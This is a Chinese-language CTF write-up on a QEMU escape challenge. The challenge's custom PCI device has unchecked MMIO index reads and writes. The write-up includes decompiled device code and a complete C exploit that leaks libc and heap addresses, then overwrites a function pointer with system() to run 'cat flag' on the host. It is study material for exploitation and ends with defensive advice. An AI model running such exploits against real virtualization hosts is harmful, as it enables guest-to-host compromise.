qemu虚拟化逃逸
字数 1457
更新时间 2026-04-25 12:01:39

QEMU 虚拟化逃逸漏洞利用教学文档

一、漏洞环境搭建与分析

1.1 环境准备

本教学基于一个QEMU I/O传输(iot)类型的虚拟化逃逸题目,附件提供了完整的模拟环境。题目是OOB(越界)任意读写的漏洞利用。

环境恢复步骤:

  1. 使用docker load命令导入提供的镜像文件
  2. 启动Docker容器:docker run -d --name ccb-dev -p 9999:9999 ccb-dev:latest
  3. 验证容器状态:docker psdocker logs ccb-dev
  4. 连接容器:nc 127.0.0.1 9999
  5. 进入容器shell:docker exec -it ccb-dev /bin/bash

1.2 文件提取与解包

从容器中提取关键文件到当前目录:

mkdir -p challenge-attachments
docker cp ccb-dev:/home/ctf/run.sh challenge-attachments/
docker cp ccb-dev:/home/ctf/qemu-system-x86_64 challenge-attachments/
docker cp ccb-dev:/home/ctf/vmlinuz challenge-attachments/
docker cp ccb-dev:/home/ctf/core.cpio challenge-attachments/
docker cp ccb-dev:/home/ctf/pc-bios challenge-attachments/

解压核心文件系统:

mkdir extracted
cd extracted
cpio -idmv < ../core.cpio

1.3 QEMU启动配置

分析start.sh启动脚本:

#!/bin/sh
./qemu-system-x86_64 \
 -m 512M \
 -kernel ./vmlinuz \
 -initrd ./core.cpio \
 -L pc-bios \
 -monitor /dev/null \
 -append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet kaslr" \
 -cpu kvm64,+smep \
 -smp cores=2,threads=1 \
 -device ccb-dev-pci \  # 关键:加载漏洞设备
 -nographic

二、漏洞设备分析

2.1 设备注册与初始化

在IDA中搜索关键字"ccb"分析设备驱动代码:

设备类初始化函数ccb_dev_class_init

void __cdecl ccb_dev_class_init(ObjectClass *oc, void *data)
{
    DeviceClass *dc;
    PCIDeviceClass *pci;
    
    dc = (DeviceClass *)object_class_dynamic_cast_assert(...);
    pci = (PCIDeviceClass *)object_class_dynamic_cast_assert(...);
    
    pci->realize = ccb_dev_realize;  // 设置realize回调
    pci->vendor_id = 0x1234;         // 设备厂商ID
    pci->device_id = 0x1337;         // 设备ID
    pci->revision = -127;
    pci->class_id = 255;
    dc->desc = "arttnba3 test PCI device";
    set_bit_68(7, dc->categories);
}

设备实现函数ccb_dev_realize

void __cdecl ccb_dev_realize(PCIDevice *pci_dev, Error **errp)
{
    CCBPCIDevState *ds_0;
    
    ds_0 = (CCBPCIDevState *)object_dynamic_cast_assert(...);
    
    // 初始化MMIO区域
    memory_region_init_io(
        &ds_0->mmio,
        &ds_0->parent_obj.qdev.parent_obj,
        &ccb_dev_mmio_ops,  // 关键:MMIO操作函数表
        pci_dev,
        "ccb_dev-mmio",
        0x800u);
    
    pci_register_bar(pci_dev, 0, 0, &ds_0->mmio);
    
    // 初始化设备状态
    memset(ds_0->buffer, 0, sizeof(ds_0->buffer));
    ds_0->index = 0;
    ds_0->log_arg = 0;
    ds_0->status = 0;
    ds_0->log_fd = 2;
    memset(ds_0->log_format, 0, sizeof(ds_0->log_format));
    ds_0->log_handler = (LogHandlerFunc)&dprintf;  // 初始化为dprintf函数
}

2.2 漏洞点分析

MMIO读操作ccb_dev_mmio_read

uint32_t __cdecl ccb_dev_mmio_read(void *opaque, hwaddr addr, unsigned int size)
{
    CCBPCIDevState *ds_0 = ...;
    uint32_t val = 0;
    
    switch (addr) {
    case 0uLL:      // 读取index
        val = ds_0->index;
        break;
    case 4uLL:      // 关键漏洞:越界读
        val = ds_0->buffer[ds_0->index];  // 无边界检查
        break;
    case 8uLL:
        val = 0xDEADBEEF;
        break;
    case 0x10uLL:   // 读取log_arg
        val = ds_0->log_arg;
        break;
    case 0x18uLL:   // 读取status
        val = ds_0->status;
        break;
    default:
        return val;
    }
    return val;
}

MMIO写操作ccb_dev_mmio_write

void __cdecl ccb_dev_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
    CCBPCIDevState *ds_0 = ...;
    uint32_t vala = val;
    
    switch (addr) {
    case 0uLL:      // 设置index
        ds_0->index = vala;
        break;
    case 4uLL:      // 关键漏洞:越界写
        ds_0->buffer[ds_0->index] = vala;  // 无边界检查
        break;
    case 0xCuLL:    // 触发log_handler调用
        if (ds_0->log_handler) {
            ds_0->log_handler(ds_0->log_fd, ds_0->log_format, ds_0->log_arg);
            ds_0->status = 0x10663D;
        } else {
            ds_0->status = 0xFA113D;
        }
        break;
    case 0x10uLL:   // 设置log_arg
        ds_0->log_arg = vala;
        break;
    case 0x14uLL:   // 设置log_fd
        ds_0->log_fd = vala;
        break;
    default:
        return;
    }
}

三、漏洞利用原理

3.1 漏洞利用思路

  1. 越界读写:通过控制index,可以读写buffer数组之外的内存
  2. 信息泄露:利用越界读泄露libc基地址和堆地址
  3. 函数指针劫持:修改log_handler指针为system函数
  4. 参数控制:通过log_format和log_arg传递命令参数
  5. 触发执行:向地址0xC写入任意值触发log_handler调用

3.2 关键数据结构偏移计算

// 计算log_handler在结构体中的偏移
pwndbg> p/x (0x6129927014d8 - 0x612992701490 - 4) / 4
$2 = 0x11  // 17,表示在buffer[17]的位置

四、利用程序开发

4.1 头文件包含

#include <stdio.h>      // printf
#include <stdint.h>     // uint8_t, uint32_t, uint64_t
#include <stdlib.h>     // exit, malloc
#include <string.h>     // strcmp, memset
#include <dirent.h>     // 遍历目录
#include <fcntl.h>      // open, O_RDWR, O_SYNC
#include <unistd.h>     // read, close
#include <errno.h>      // errno
#include <sys/mman.h>   // mmap

4.2 MMIO设备交互基础

PCI设备查找

lspci
# 输出示例:
# 00:04.0 Class 00ff: 1234:1337  # 目标设备

MMIO映射

char *pci_device_name = "/sys/bus/pci/devices/0000:00:04.0/resource0";
int fd = open(pci_device_name, O_RDWR | O_SYNC);
unsigned char *mmio_base = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);

读写函数封装

uint32_t mmio_read(uint64_t addr) {
    return *((uint32_t *)(mmio_base + addr));
}

void mmio_write(uint64_t addr, uint32_t value) {
    *((uint32_t *)(mmio_base + addr)) = value;
}

4.3 完整的漏洞利用程序

#include <stdio.h>
#include <stdint.h> 
#include <stdlib.h>
#include <dirent.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>

char *pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";
unsigned char *mmio_base;

// MMIO读写函数
uint32_t mmio_read(uint64_t addr) {
    return *((uint32_t *)(mmio_base + addr));
}

void mmio_write(uint64_t addr, uint32_t value) {
    *((uint32_t *)(mmio_base + addr)) = value;
}

// 辅助读写函数
uint32_t read_data(uint32_t idx) {
    mmio_write(0, idx);
    return mmio_read(4);
}

void write_data(uint32_t idx, uint32_t value) {
    mmio_write(0, idx);
    mmio_write(4, value);
}

uint64_t read64(uint32_t idx) {
    uint32_t low = read_data(idx);
    uint32_t high = read_data(idx + 1);
    return ((uint64_t)high << 32) | low;
}

int main() {
    // 打开并映射MMIO
    int fd = open(pci_device_name, O_RDWR | O_SYNC);
    if (fd < 0) {
        perror("open");
        return 1;
    }
    
    mmio_base = (unsigned char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    if (mmio_base == MAP_FAILED) {
        perror("mmap");
        return 1;
    }
    
    // 1. 泄露libc基地址
    // 读取log_handler指针(dprintf函数地址)
    mmio_write(0, 17);  // index = 17,对应log_handler低32位
    uint32_t low = mmio_read(4);
    printf("log_handler low: 0x%08x\n", low);
    
    mmio_write(0, 18);  // index = 18,对应log_handler高32位
    uint32_t high = mmio_read(4);
    printf("log_handler high: 0x%08x\n", high);
    
    uint64_t dprintf_addr = (((uint64_t)high << 32) | low);
    uint64_t libc_base = dprintf_addr - 0x60a10;  // 减去dprintf偏移
    uint64_t system_addr = libc_base + 0x50d70;    // 加上system偏移
    printf("dprintf addr: 0x%016lx\n", dprintf_addr);
    printf("libc base: 0x%016lx\n", libc_base);
    printf("system addr: 0x%016lx\n", system_addr);
    
    // 2. 泄露堆地址
    mmio_write(0, 103);  // 通过越界读获取堆地址
    uint32_t heap_low = mmio_read(4);
    printf("heap_low: 0x%08x\n", heap_low);
    
    mmio_write(0, 104);
    uint32_t heap_high = mmio_read(4);
    printf("heap_high: 0x%08x\n", heap_high);
    
    uint64_t heap = ((uint64_t)heap_high << 32) | heap_low;
    uint64_t log_format_addr = heap + 0xaa0;  // 计算log_format字符串地址
    printf("heap: 0x%016lx\n", heap);
    printf("log_format addr: 0x%016lx\n", log_format_addr);
    
    // 3. 写入命令字符串"cat flag"
    // 注意:由于是32位写入,需要分两次写入
    write_data(23, ' tac');  // " tac"(注意小端序)
    write_data(24, 'galf');  // "galf"
    write_data(25, 0);       // 字符串结束符
    
    // 4. 修改log_format指针指向"cat flag"字符串
    write_data(19, log_format_addr & 0xffffffff);      // 低32位
    write_data(20, log_format_addr >> 32);            // 高32位
    
    // 5. 修改log_handler指针为system函数
    write_data(17, system_addr & 0xffffffff);         // 低32位
    write_data(18, system_addr >> 32);                // 高32位
    
    // 6. 触发漏洞:调用log_handler(现在是system)
    mmio_write(0xc, 0);  // 向地址0xC写入任意值触发调用
    
    return 0;
}

五、调试与测试

5.1 文件系统修改

  1. 将利用程序编译后放入文件系统
  2. 重新打包文件系统:
    find . | cpio -o -H newc > ../core_patched.cpio
    
  3. 修改start.sh中的initrd指向新文件系统:
    -initrd ./core_patched.cpio \
    

5.2 调试技巧

  1. QEMU调试:不能在启动参数中简单添加-s,因为这是设备驱动漏洞
  2. 断点设置:需要在宿主机的QEMU进程上设置断点
  3. 符号断点:在设备驱动函数(如ccb_dev_mmio_write)设置断点
  4. 内存布局查看:通过gdb查看结构体布局和偏移

六、漏洞利用总结

6.1 利用链

  1. 通过越界读泄露libc基地址 → 计算system函数地址
  2. 通过越界读泄露堆地址 → 计算log_format字符串位置
  3. 通过越界写写入命令字符串"cat flag"
  4. 通过越界写修改log_format指针指向命令字符串
  5. 通过越界写修改log_handler指针指向system函数
  6. 触发MMIO写操作调用log_handler(实际调用system)

6.2 关键点

  1. index无边界检查:允许读写buffer数组之外的内存
  2. 函数指针可写:log_handler指针存储在结构体中且可被修改
  3. 参数可控:log_format和log_arg均可控
  4. 触发条件简单:向固定地址写入即可触发函数调用

6.3 防御建议

  1. 边界检查:在读写buffer前检查index范围
  2. 指针验证:对函数指针进行有效性验证
  3. 内存隔离:敏感数据结构与用户可控数据隔离
  4. 权限控制:限制MMIO区域的访问权限
相似文章
相似文章
 全屏